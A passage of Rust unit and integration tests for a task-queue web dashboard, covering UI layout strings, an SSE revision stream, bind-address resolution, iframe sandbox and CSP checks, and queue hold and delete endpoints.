14977 fn run_rows_put_the_title_alone_on_the_first_line() {
14978 assert!(
14979 APP_CSS.contains(
14980 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
14981 )
14982 );
14983 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
14984 assert!(APP_JS.contains("class: \"card run-card\""));
14985 assert!(APP_JS.contains("class: \"repo run-id\""));
14986 }
14987
14988 #[test]
14992 fn wide_screens_show_list_and_preview_side_by_side() {
14993 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
14995 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
14996 assert!(APP_CSS.contains("main[data-split]"));
14997 assert!(APP_CSS.contains("body[data-split]"));
14998
14999 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
15001 assert!(
15002 APP_JS.contains(
15003 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
15004 )
15005 );
15006 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
15007 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
15008 assert!(INDEX_HTML.contains("id=\"split-empty\""));
15009
15010 assert!(APP_JS.contains("function markSelected() {"));
15012 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
15013 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
15014 assert!(
15016 APP_CSS.contains(
15017 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
15018 )
15019 );
15020
15021 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
15023 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
15024 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
15025 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
15026
15027 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
15031 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
15032 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
15033 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
15034
15035 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
15037 }
15038
15039 #[test]
15040 fn panel_sandbox_carries_exactly_popups() {
15041 let needle = "sandbox: \"";
15042 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
15043 assert_eq!(
15044 matches.len(),
15045 1,
15046 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
15047 );
15048 let start = matches[0].0 + needle.len();
15049 let end = APP_JS[start..]
15050 .find('"')
15051 .expect("sandbox attribute value must be terminated by a closing quote");
15052 let val = &APP_JS[start..start + end];
15053 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
15054 let expected: std::collections::BTreeSet<&str> =
15055 ["allow-popups", "allow-popups-to-escape-sandbox"]
15056 .into_iter()
15057 .collect();
15058 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
15059 assert!(
15060 !tokens.contains("allow-scripts"),
15061 "allow-scripts must never be present in sandbox"
15062 );
15063 assert!(
15064 !tokens.contains("allow-same-origin"),
15065 "allow-same-origin must never be present in sandbox"
15066 );
15067 }
15068
15069 #[test]
15070 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
15071 assert!(
15080 APP_JS.contains(
15081 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
15082 ),
15083 "the search-clearing branch must run before state.queueFocus is cleared, or the \
15084 recursive renderQueue() call has nothing left to jump to"
15085 );
15086 assert!(
15087 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
15088 "state.queueFocus must be cleared only once the jump has landed, so a card that \
15089 arrives later still gets it"
15090 );
15091 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
15092 assert!(APP_JS.contains("is not in the current Backlog."));
15093 assert!(APP_JS.contains("li.card[data-task-id=\""));
15094 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
15095 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
15096 assert!(APP_CSS.contains(".card-permalink"));
15097 assert!(APP_CSS.contains(".queue-focus-status"));
15098 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
15099 }
15100
15101 #[test]
15102 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
15103 assert!(
15111 APP_JS.contains(
15112 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
15113 ),
15114 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
15115 );
15116 }
15117
15118 #[test]
15119 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
15120 assert!(
15121 APP_JS.contains("round.verified_head !== round.head"),
15122 "a round that verified an earlier commit must be visibly distinct from one that \
15123 verified the head reviewers are looking at now"
15124 );
15125 assert!(
15126 APP_JS.contains("round.verified_at"),
15127 "when a check ran must be on the wire, not just which commit"
15128 );
15129 assert!(
15130 APP_JS.contains("resource_blocked"),
15131 "a command magi never got to run (shared build cache contention) must not render \
15132 the same as a command that ran and failed"
15133 );
15134 }
15135
15136 #[test]
15137 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
15138 assert!(
15146 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
15147 "every KPI tile built through statusTile() must route its click through \
15148 openRunsFiltered, the single place that sets the Runs filter"
15149 );
15150 for (label, status) in [
15151 ("Merged", "merged"),
15152 ("Ready", "ready"),
15153 ("Blocked", "blocked"),
15154 ("Stalled", "stalled"),
15155 ] {
15156 let call = format!("statusTile(\"{label}\", t.{status}, ");
15157 assert!(
15158 APP_JS.contains(&call),
15159 "expected the {label} KPI tile built via {call}..."
15160 );
15161 assert!(
15162 APP_JS.contains(&format!("status === \"{status}\"")),
15163 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
15164 compare a run against, not one invented only for the stats tile"
15165 );
15166 }
15167 assert!(
15168 APP_JS.contains("function openRunsFiltered(status)"),
15169 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
15170 );
15171 assert!(
15172 APP_JS.contains(
15173 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
15174 ),
15175 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
15176 );
15177 assert!(
15185 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
15186 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
15187 hashchange event that may never fire"
15188 );
15189 }
15190
15191 #[test]
15192 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
15193 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
15199 assert!(
15200 APP_JS.contains(
15201 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
15202 ),
15203 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
15204 guard for an incompatible tree section"
15205 );
15206 }
15207
15208 #[test]
15209 fn every_stats_queue_tile_names_a_real_queue_section() {
15210 assert!(
15216 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
15217 "every queue tile built through sectionTile() must route its click through \
15218 openQueueSectionFocus"
15219 );
15220 for key in ["upnext", "running", "done", "held", "blocked"] {
15221 assert!(
15222 APP_JS.contains(&format!("{{ key: \"{key}\",")),
15223 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
15224 );
15225 }
15226 for line in [
15230 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
15231 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
15232 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
15233 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
15234 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
15235 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
15236 ] {
15237 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
15238 }
15239 }
15240
15241 #[test]
15242 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
15243 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
15250 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
15251 assert!(APP_JS.contains("function revealQueueSection(details)"));
15252 assert!(
15253 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
15254 "renderQueue() must consume both focus channels on every pass"
15255 );
15256 assert!(
15257 APP_JS.contains(
15258 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
15259 ),
15260 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
15261 the recursive renderQueue() call has nothing left to reveal"
15262 );
15263 assert!(
15264 APP_JS.contains(
15265 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
15266 ),
15267 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
15268 );
15269 assert!(
15277 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
15278 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
15279 hashchange event that may never fire"
15280 );
15281 }
15282
15283 #[tokio::test]
15284 async fn the_change_stream_announces_the_current_revisions_on_connect() {
15285 let f = Fixture::start().await;
15286
15287 let mut socket = tokio::net::TcpStream::connect(f.addr)
15288 .await
15289 .expect("connect");
15290 socket
15291 .write_all(
15292 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
15293 )
15294 .await
15295 .expect("write request");
15296
15297 let mut seen = String::new();
15300 let mut buf = [0u8; 1024];
15301 while !seen.contains("event: change") {
15302 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
15303 .await
15304 .expect("the stream must speak within five seconds")
15305 .expect("read");
15306 assert!(read > 0, "the server closed the change stream: {seen}");
15307 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
15308 }
15309
15310 assert!(
15311 seen.to_lowercase()
15312 .contains("content-type: text/event-stream"),
15313 "the browser only reconnects automatically for a real SSE stream: {seen}"
15314 );
15315 let data = seen
15316 .lines()
15317 .find_map(|l| l.strip_prefix("data:"))
15318 .expect("a data line");
15319 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
15320 assert!(
15321 payload["queue_rev"].is_u64()
15322 && payload["runs_rev"].is_u64()
15323 && payload["questions_rev"].is_u64()
15324 && payload["talks_rev"].is_u64()
15325 && payload["notifications_rev"].is_u64()
15326 && payload["loop_rev"].is_u64(),
15327 "the client needs one revision per store to know what to refetch, \
15328 and `talks_rev` is the only notification a standing talk gets - a \
15329 phone whose radio slept through a turn learns about it here, as \
15330 does one whose operator started the loop from another device: \
15331 {payload}"
15332 );
15333
15334 let health = f.get("/api/health").await.json();
15341 for key in [
15342 "queue_rev",
15343 "runs_rev",
15344 "questions_rev",
15345 "talks_rev",
15346 "notifications_rev",
15347 "loop_rev",
15348 ] {
15349 assert!(
15350 health[key].is_u64(),
15351 "health is the change stream's fallback and is missing `{key}`: {health}"
15352 );
15353 }
15354 }
15355
15356 #[tokio::test]
15357 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
15358 let f = Fixture::start().await;
15359 let before = f.get("/api/health").await.json()["talks_rev"]
15360 .as_u64()
15361 .expect("talks_rev");
15362
15363 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
15364 std::thread::sleep(Duration::from_millis(10));
15365 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
15366 on_disk.turns.push(crate::talk::Turn {
15367 breaks: Some(Vec::new()),
15368 messages: Vec::new(),
15369 posted_by: None,
15370 who: crate::talk::Who::Operator,
15371 body: "a new turn".to_owned(),
15372 at: Timestamp::now(),
15373 attachments: Vec::new(),
15374 usage: None,
15375 });
15376 f.talks().put(&mut on_disk).expect("record a turn");
15377
15378 let after = f.get("/api/health").await.json()["talks_rev"]
15379 .as_u64()
15380 .expect("talks_rev");
15381 assert_ne!(
15382 before, after,
15383 "a phone must be able to notice a talk's reply without polling every store"
15384 );
15385 }
15386
15387 #[test]
15388 fn bind_reads_back_from_the_spelling_the_cli_prints() {
15389 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
15393 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
15394 }
15395 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
15396 assert!("everywhere".parse::<Bind>().is_err());
15397 }
15398
15399 #[test]
15400 fn an_explicit_bind_address_is_taken_verbatim() {
15401 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
15402
15403 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
15404
15405 assert_eq!(addr, asked);
15406 assert!(
15407 warning.is_none(),
15408 "an operator who named an address gets no lecture"
15409 );
15410 }
15411
15412 #[test]
15413 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
15414 let (addr, warning) = resolve_bind(&Bind::Auto);
15415
15416 match addr {
15423 IpAddr::V4(ip) if is_tailnet(&ip) => {
15424 assert!(warning.is_none(), "a tailnet address needs no warning");
15425 }
15426 other => {
15427 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
15428 let warning = warning.expect("a fallback has to explain itself");
15429 assert!(
15430 warning.contains("127.0.0.1") && warning.contains("local-only"),
15431 "the warning says what happened and what it costs: {warning}"
15432 );
15433 }
15434 }
15435 }
15436
15437 #[test]
15438 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
15439 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
15443 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
15444 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
15445 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
15446 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
15447 }
15448
15449 #[test]
15450 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
15451 let ids = vec![
15452 "20260902-140501-aaaa".to_owned(),
15453 "20260902-140502-aabb".to_owned(),
15454 ];
15455
15456 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
15457 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
15458 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
15459
15460 assert_eq!(missing.status, StatusCode::NOT_FOUND);
15461 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
15462 assert_eq!(short, "20260902-140502-aabb");
15463 }
15464 #[tokio::test]
15465 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
15466 let fx = Fixture::start().await;
15472 let id = panel(
15473 &fx,
15474 "<img src=\"shot.png\">",
15475 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
15476 );
15477
15478 let doc = fx
15480 .get(&format!("/api/questions/{id}/panel/index.html"))
15481 .await;
15482 assert_eq!(doc.status, 200, "{}", doc.body);
15483 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
15484
15485 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
15486 assert_eq!(sibling.status, 200, "{}", sibling.body);
15487 assert_eq!(sibling.header("content-type"), Some("image/png"));
15488 assert_eq!(
15489 sibling.header("content-security-policy"),
15490 Some(PANEL_CSP),
15491 "the sibling route must carry the same policy as the asset route"
15492 );
15493
15494 assert_eq!(
15497 fx.head(&format!("/api/questions/{id}/panel")).await.status,
15498 200
15499 );
15500 }
15501
15502 #[test]
15503 fn delta_stamps_cover_add_update_remove_and_noop() {
15504 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
15505 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
15506 let delta = diff_stamps(&before, &after, 42);
15507 assert_eq!(delta.base, 42);
15508 assert_eq!(delta.changed, ["b", "c"]);
15509 assert_eq!(delta.removed, ["a"]);
15510 let same = diff_stamps(&after, &after, 43);
15511 assert!(same.changed.is_empty() && same.removed.is_empty());
15512 assert_ne!(stamps_revision(&before), stamps_revision(&after));
15513 let nanos: Stamps = [("b".into(), (2, 20))].into();
15514 let same_ms: Stamps = [("b".into(), (3, 20))].into();
15515 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
15516 assert_eq!(stamps_revision(&Stamps::new()), 0);
15517 }
15518
15519 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
15520 std::fs::create_dir_all(home.join("runs")).unwrap();
15521 Arc::new(Ui::new(
15522 Queue::at(home.join("queue")),
15523 Questions::at(home.join("questions")),
15524 Talks::at(home.join("talks")),
15525 home.join("runs"),
15526 home.to_owned(),
15527 PathBuf::from("/repo/magi"),
15528 ))
15529 }
15530
15531 #[tokio::test]
15532 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
15533 let home = TempDir::new().unwrap();
15534 let ui = delta_test_ui(home.path());
15535 let mut task = Task::new(
15536 "stream task".into(),
15537 "text".into(),
15538 PathBuf::from("/repo"),
15539 Source::Human,
15540 );
15541 ui.queue.put(&mut task).unwrap();
15542 let response = events(State(ui.clone())).await.into_response();
15543 let mut stream = response.into_body().into_data_stream();
15544 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
15545 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
15546 .await
15547 .unwrap()
15548 .unwrap()
15549 .unwrap();
15550 let text = String::from_utf8(chunk.to_vec()).unwrap();
15551 let data = text
15552 .lines()
15553 .find_map(|line| {
15554 line.strip_prefix("data: ")
15555 .or_else(|| line.strip_prefix("data:"))
15556 })
15557 .unwrap();
15558 serde_json::from_str(data).unwrap()
15559 }
15560 let initial = change(&mut stream).await;
15561 assert!(initial.get("queue_delta").is_none());
15562 task.instruction.push_str(" changed");
15563 ui.queue.put(&mut task).unwrap();
15564 let updated = change(&mut stream).await;
15565 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
15566 assert_eq!(
15567 updated["queue_delta"]["changed"],
15568 serde_json::json!([task.id])
15569 );
15570 assert_eq!(
15571 updated["queue_rev"].as_u64(),
15572 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
15573 );
15574 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
15575 let removed = change(&mut stream).await;
15576 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
15577 assert_eq!(
15578 removed["queue_delta"]["removed"],
15579 serde_json::json!([task.id])
15580 );
15581 }
15582
15583 #[tokio::test]
15584 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
15585 let home = TempDir::new().unwrap();
15586 let ui = delta_test_ui(home.path());
15587 let queue = ui.queue.clone();
15588 let query = |ids: Option<&str>| {
15589 Query(ListQuery {
15590 limit: Some(2),
15591 ids: ids.map(str::to_owned),
15592 })
15593 };
15594 let mut root = Task::new(
15595 "root".into(),
15596 "instruction".into(),
15597 PathBuf::from("/repo"),
15598 Source::Human,
15599 );
15600 queue.put(&mut root).unwrap();
15601 let mut blocked = Task::new(
15602 "blocked".into(),
15603 "instruction".into(),
15604 PathBuf::from("/repo"),
15605 Source::Human,
15606 );
15607 blocked.block(vec![root.id.clone()], None);
15608 queue.put(&mut blocked).unwrap();
15609 let whole =
15610 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
15611 .unwrap();
15612 let subset = serde_json::to_value(
15613 queue_list(State(ui.clone()), query(Some(&root.id)))
15614 .await
15615 .unwrap()
15616 .0,
15617 )
15618 .unwrap();
15619 assert_eq!(whole, subset, "requested root plus its blocked dependent");
15620 let blockers = serde_json::to_value(
15621 queue_list(State(ui.clone()), query(Some("")))
15622 .await
15623 .unwrap()
15624 .0,
15625 )
15626 .unwrap();
15627 assert_eq!(blockers.as_array().unwrap().len(), 1);
15628 assert_eq!(blockers[0]["id"], blocked.id);
15629 assert_eq!(
15630 blockers[0]["waits_on"],
15631 whole
15632 .as_array()
15633 .unwrap()
15634 .iter()
15635 .find(|row| row["id"] == blocked.id)
15636 .unwrap()["waits_on"]
15637 );
15638
15639 for id in [
15640 "20260902-140501-aaaa",
15641 "20260902-140502-bbbb",
15642 "20260902-140503-cccc",
15643 ] {
15644 write_run(&ui.runs, id, RunStatus::Merged);
15645 }
15646 let old = serde_json::to_value(
15647 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
15648 .await
15649 .unwrap()
15650 .0,
15651 )
15652 .unwrap();
15653 assert!(
15654 old.as_array().unwrap().is_empty(),
15655 "older updates must not enter the window"
15656 );
15657 let newest = serde_json::to_value(
15658 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
15659 .await
15660 .unwrap()
15661 .0,
15662 )
15663 .unwrap();
15664 assert_eq!(newest.as_array().unwrap().len(), 1);
15665 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
15666
15667 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
15668 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
15669 let talks = serde_json::to_value(
15670 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
15671 .await
15672 .unwrap()
15673 .0,
15674 )
15675 .unwrap();
15676 assert_eq!(talks.as_array().unwrap().len(), 1);
15677 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
15678 assert_eq!(
15679 serde_json::to_value(
15680 talks_list(State(ui.clone()), query(Some("")))
15681 .await
15682 .unwrap()
15683 .0
15684 )
15685 .unwrap(),
15686 serde_json::json!([])
15687 );
15688 }
15689
15690 #[tokio::test]
15691 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
15692 async fn delta_payload_benchmark() {
15693 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
15694 let ui = delta_test_ui(&home);
15695 let query = |ids: Option<String>| {
15696 Query(ListQuery {
15697 limit: Some(50),
15698 ids,
15699 })
15700 };
15701 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
15702 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
15703 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
15704 let queue_id = queue
15705 .iter()
15706 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
15707 .unwrap_or(&queue[0])
15708 .task
15709 .id
15710 .clone();
15711 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
15712 .await
15713 .unwrap()
15714 .0;
15715 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
15716 .await
15717 .unwrap()
15718 .0;
15719 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
15720 .await
15721 .unwrap()
15722 .0;
15723 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
15724 eprintln!(
15725 "DELTA_PAYLOAD {}",
15726 serde_json::json!({
15727 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
15728 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
15729 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
15730 "counts": [queue.len(), runs.len(), talks.len()],
15731 "blocked": queue_delta.len() - 1,
15732 })
15733 );
15734 }
15735
15736 #[test]
15737 fn runs_revision_moves_when_deleting_an_older_run() {
15738 let temp = TempDir::new().expect("tempdir");
15739 let runs = temp.path().join("runs");
15740 std::fs::create_dir_all(&runs).expect("create runs dir");
15741
15742 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
15743
15744 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
15745 std::thread::sleep(Duration::from_millis(10));
15746 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
15747
15748 let rev_before = runs_revision(&runs);
15749 assert!(rev_before > 0);
15750
15751 let old_dir = runs.join("20260901-100000-old1");
15752 std::fs::remove_dir_all(&old_dir).expect("remove old run");
15753
15754 let rev_after = runs_revision(&runs);
15755 assert_ne!(
15756 rev_before, rev_after,
15757 "deleting an older run must change the revision so other clients see the deletion"
15758 );
15759 }
15760
15761 fn write_state(runs: &FsPath, state: &RunState) {
15766 let dir = runs.join(&state.id);
15767 std::fs::create_dir_all(&dir).expect("run dir");
15768 std::fs::write(
15769 dir.join("run.json"),
15770 serde_json::to_string_pretty(state).expect("serialize run"),
15771 )
15772 .expect("write run.json");
15773 }
15774
15775 #[test]
15780 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
15781 let temp = TempDir::new().expect("tempdir");
15782 let runs = temp.path().join("runs");
15783 std::fs::create_dir_all(&runs).expect("create runs dir");
15784 let mut state = RunState::new(
15785 PathBuf::from("/repo/magi"),
15786 "main".to_owned(),
15787 "0123456789abcdef".to_owned(),
15788 "task".to_owned(),
15789 Config::default(),
15790 );
15791 state.id = "20260902-100000-c0de".to_owned();
15792 write_state(&runs, &state);
15793
15794 let rev_idle = runs_revision(&runs);
15795 std::thread::sleep(Duration::from_millis(10));
15796 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
15797 write_state(&runs, &state);
15798 let rev_started = runs_revision(&runs);
15799 assert_ne!(
15800 rev_idle, rev_started,
15801 "a seat starting must move the revision"
15802 );
15803
15804 std::thread::sleep(Duration::from_millis(10));
15805 state.seat_finished("judge-1");
15806 write_state(&runs, &state);
15807 let rev_finished = runs_revision(&runs);
15808 assert_ne!(
15809 rev_started, rev_finished,
15810 "and clearing it again must move the revision a second time"
15811 );
15812 }
15813
15814 #[tokio::test]
15815 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
15816 let fx = Fixture::start().await;
15821 let q = fx.queue();
15822
15823 let mut t = Task::new(
15824 "Task".to_owned(),
15825 "Instruction".to_owned(),
15826 PathBuf::from("/repo"),
15827 Source::Human,
15828 );
15829 t.block(
15830 vec!["20260101-000000-dead".to_owned()],
15831 Some("waiting on Task 1".to_owned()),
15832 );
15833 t.answers.push(crate::queue::AnsweredQuestion {
15834 question: "Which backend?".to_owned(),
15835 answer: "SQLite".to_owned(),
15836 });
15837 q.put(&mut t).expect("put t");
15838
15839 let res = fx.get("/api/queue").await;
15840 assert_eq!(res.status, 200);
15841 let list = res.json();
15842 let view = list
15843 .as_array()
15844 .expect("array")
15845 .iter()
15846 .find(|v| v["id"] == t.id)
15847 .expect("task in list");
15848 assert_eq!(view["status_str"], "blocked");
15849 assert_eq!(
15850 view["blocked_by"],
15851 serde_json::json!(["20260101-000000-dead"])
15852 );
15853 assert_eq!(view["block_reason"], "waiting on Task 1");
15854 assert_eq!(view["answers"][0]["question"], "Which backend?");
15855 assert_eq!(view["answers"][0]["answer"], "SQLite");
15856
15857 let res = fx
15861 .post(&format!("/api/queue/{}/hold", t.short()), None)
15862 .await;
15863 assert_eq!(res.status, 200);
15864 let held = res.json();
15865 assert_eq!(held["status_str"], "held");
15866 assert_eq!(held["blocked_by"], serde_json::json!([]));
15867 assert!(held["block_reason"].is_null());
15868 assert_eq!(held["answers"][0]["answer"], "SQLite");
15869 }
15870
15871 #[tokio::test]
15872 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
15873 let fx = Fixture::start().await;
15874 let q = fx.queue();
15875 let mk = |title: &str| {
15876 Task::new(
15877 title.to_owned(),
15878 "Instruction".to_owned(),
15879 PathBuf::from("/repo"),
15880 Source::Human,
15881 )
15882 };
15883 let mut root = mk("root");
15884 root.hold_manual(Some("waiting".to_owned()));
15885 q.put(&mut root).unwrap();
15886 let mut mid = mk("mid");
15887 mid.block(vec![root.id.clone()], None);
15888 q.put(&mut mid).unwrap();
15889 let mut leaf = mk("leaf");
15890 leaf.block(vec![mid.id.clone()], None);
15891 q.put(&mut leaf).unwrap();
15892
15893 let list = fx.get("/api/queue").await.json();
15894 let find = |id: &str| {
15895 list.as_array()
15896 .unwrap()
15897 .iter()
15898 .find(|v| v["id"] == id)
15899 .unwrap()
15900 .clone()
15901 };
15902 let leaf_view = find(&leaf.id);
15903 assert_eq!(
15904 leaf_view["waits_on"],
15905 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
15906 );
15907 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
15908 assert_eq!(
15909 find(&mid.id)["waits_on"],
15910 serde_json::json!([format!("{} (held)", root.short())])
15911 );
15912 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
15913 }
15914
15915 #[tokio::test]
15916 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
15917 let fx = Fixture::start().await;
15918 let q = fx.queue();
15919
15920 let mut t1 = Task::new(
15922 "Task 1".to_owned(),
15923 "Instruction 1".to_owned(),
15924 PathBuf::from("/repo"),
15925 Source::Human,
15926 );
15927 let run_id = "20260901-000000-r111";
15928 t1.runs.push(run_id.to_owned());
15929 write_run(&fx.runs(), run_id, RunStatus::Merged);
15930 q.put(&mut t1).expect("put t1");
15931
15932 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
15934 assert_eq!(res.status, 204);
15935 assert!(res.body.is_empty(), "204 No Content has no body");
15936 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
15937 assert!(
15938 fx.runs().join(run_id).exists(),
15939 "run directory must not be deleted when its task is deleted"
15940 );
15941
15942 let mut t2 = Task::new(
15944 "Task 2".to_owned(),
